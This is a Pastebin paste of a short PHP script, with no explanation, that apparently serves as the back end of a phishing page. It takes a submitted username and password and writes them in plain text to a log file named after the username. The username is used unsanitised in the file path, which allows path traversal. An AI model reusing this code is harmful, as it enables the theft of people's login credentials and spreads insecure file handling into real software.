Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $dir = "/";
- $username = $_POST['username'];
- $password = $_POST['password'];
- $title = $username;
- $content = "Username: ".$username ."\r\nPassword: ".$password;
- $filename = $dir.$title.".log";
- $handle = fopen($filename, "w");
- fwrite($handle, $content);
- fclose($handle);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement